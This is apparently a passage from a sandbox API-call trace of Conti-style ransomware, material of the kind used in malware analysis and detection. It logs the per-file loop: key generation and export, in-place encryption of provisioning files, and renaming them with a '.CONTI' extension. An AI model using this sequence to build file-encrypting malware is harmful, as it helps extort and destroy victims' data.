	[0107.159] CloseHandle (hObject=0x3c4) returned 1
	[0107.159] GetProcessHeap () returned 0x1720000
	[0107.159] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.159] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml"
	[0107.159] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.159] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.159] GetProcessHeap () returned 0x1720000
	[0107.159] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.159] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0107.159] GetProcessHeap () returned 0x1720000
	[0107.159] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9e20 | out: hHeap=0x1720000) returned 1
	[0107.160] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.160] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x6513bf8 | out: phKey=0x6513bf8*=0x17c7f70) returned 1
	[0107.160] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513bfc, pdwDataLen=0x59bf7d4 | out: pbData=0x6513bfc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.161] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.161] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.161] GetLastError () returned 0x0
	[0107.161] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=705) returned 1
	[0107.161] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c1
	[0107.161] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.161] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.162] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.162] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.162] WriteFile (in: hFile=0x3c4, lpBuffer=0x6513bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x6513bfc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.163] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.163] ReadFile (in: hFile=0x3c4, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2c1, lpOverlapped=0x0) returned 1
	[0107.163] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c1, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0107.163] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.164] WriteFile (in: hFile=0x3c4, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.164] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.164] WriteFile (in: hFile=0x3c4, lpBuffer=0x6513bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x6513bf0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.164] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.164] CloseHandle (hObject=0x3c4) returned 1
	[0107.164] GetProcessHeap () returned 0x1720000
	[0107.164] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.164] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml"
	[0107.164] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.164] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.165] GetProcessHeap () returned 0x1720000
	[0107.165] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.165] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.165] GetProcessHeap () returned 0x1720000
	[0107.165] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9f68 | out: hHeap=0x1720000) returned 1
	[0107.165] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.165] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x6514bf0 | out: phKey=0x6514bf0*=0x17c8270) returned 1
	[0107.165] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514bf4, pdwDataLen=0x59bf7d4 | out: pbData=0x6514bf4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.166] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.166] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.166] GetLastError () returned 0x0
	[0107.166] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=656) returned 1
	[0107.166] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x290
	[0107.166] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.166] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.167] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.167] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.167] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x6514bf4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.168] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.168] ReadFile (in: hFile=0x3c4, lpBuffer=0x11200000, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x290, lpOverlapped=0x0) returned 1
	[0107.169] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x290, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2a0) returned 1
	[0107.169] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.169] WriteFile (in: hFile=0x3c4, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2a0, lpOverlapped=0x0) returned 1
	[0107.169] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.169] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x6514be8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.169] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.169] CloseHandle (hObject=0x3c4) returned 1
	[0107.169] GetProcessHeap () returned 0x1720000
	[0107.169] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.169] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml"
	[0107.169] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.169] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.171] GetProcessHeap () returned 0x1720000
	[0107.171] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.171] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0107.171] GetProcessHeap () returned 0x1720000
	[0107.171] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca5d0 | out: hHeap=0x1720000) returned 1
	[0107.172] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.172] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x6514760 | out: phKey=0x6514760*=0x17c7f70) returned 1
	[0107.172] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514764, pdwDataLen=0x59bf7d4 | out: pbData=0x6514764*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.173] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.174] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.174] GetLastError () returned 0x0
	[0107.174] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=731) returned 1
	[0107.174] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0107.174] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.174] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.174] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.174] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.174] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x6514764*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.176] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.176] ReadFile (in: hFile=0x3c4, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2db, lpOverlapped=0x0) returned 1
	[0107.176] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2db, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2e0) returned 1
	[0107.176] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.176] WriteFile (in: hFile=0x3c4, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.176] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.176] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x6514758*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.177] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.177] CloseHandle (hObject=0x3c4) returned 1
	[0107.177] GetProcessHeap () returned 0x1720000
	[0107.177] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.177] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml"
	[0107.177] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.177] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.178] GetProcessHeap () returned 0x1720000
	[0107.178] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.178] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.178] GetProcessHeap () returned 0x1720000
	[0107.178] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8798 | out: hHeap=0x1720000) returned 1
	[0107.178] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.178] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x6512770 | out: phKey=0x6512770*=0x17c7f70) returned 1
	[0107.178] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512774, pdwDataLen=0x59bf7d4 | out: pbData=0x6512774*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.179] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.179] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.179] GetLastError () returned 0x0
	[0107.179] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=715) returned 1
